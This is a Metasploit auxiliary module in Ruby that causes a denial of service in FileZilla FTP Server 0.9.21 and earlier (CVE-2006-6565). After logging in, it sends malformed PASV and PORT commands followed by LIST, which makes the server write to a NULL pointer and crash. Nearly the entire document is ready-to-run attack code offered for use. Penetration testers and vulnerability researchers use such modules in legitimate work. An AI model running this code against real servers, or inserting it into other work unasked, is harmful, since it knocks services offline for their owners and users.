FileZilla FTP Server Malformed PORT Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FileZilla FTP Server Malformed PORT Denial of Service',  
'Description' => %q{  
This module triggers a Denial of Service condition in the FileZilla FTP  
Server versions 0.9.21 and earlier. By sending a malformed PORT command  
then LIST command, the server attempts to write to a NULL pointer.  
},  
'Author' => [ 'aushack' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '21542' ],  
[ 'BID', '21549' ],  
[ 'CVE', '2006-6565' ],  
[ 'EDB', '2914' ],  
[ 'OSVDB', '34435' ]  
],  
'DisclosureDate' => '2006-12-11'))  
end  
  
def run  
begin  
c = connect_login  
rescue Rex::ConnectionRefused  
print_error("Connection refused.")  
return  
rescue Rex::ConnectionTimeout  
print_error("Connection timed out")  
return  
end  
  
return if not c  
  
send_cmd(['PASV', 'A*'], true) # Assigns PASV port  
send_cmd(['PORT', 'A*'], true) # Rejected but seems to assign NULL to pointer  
send_cmd(['LIST'], true) # Try and push data to NULL port, trigger crash :)  
  
disconnect  
end  
end  
`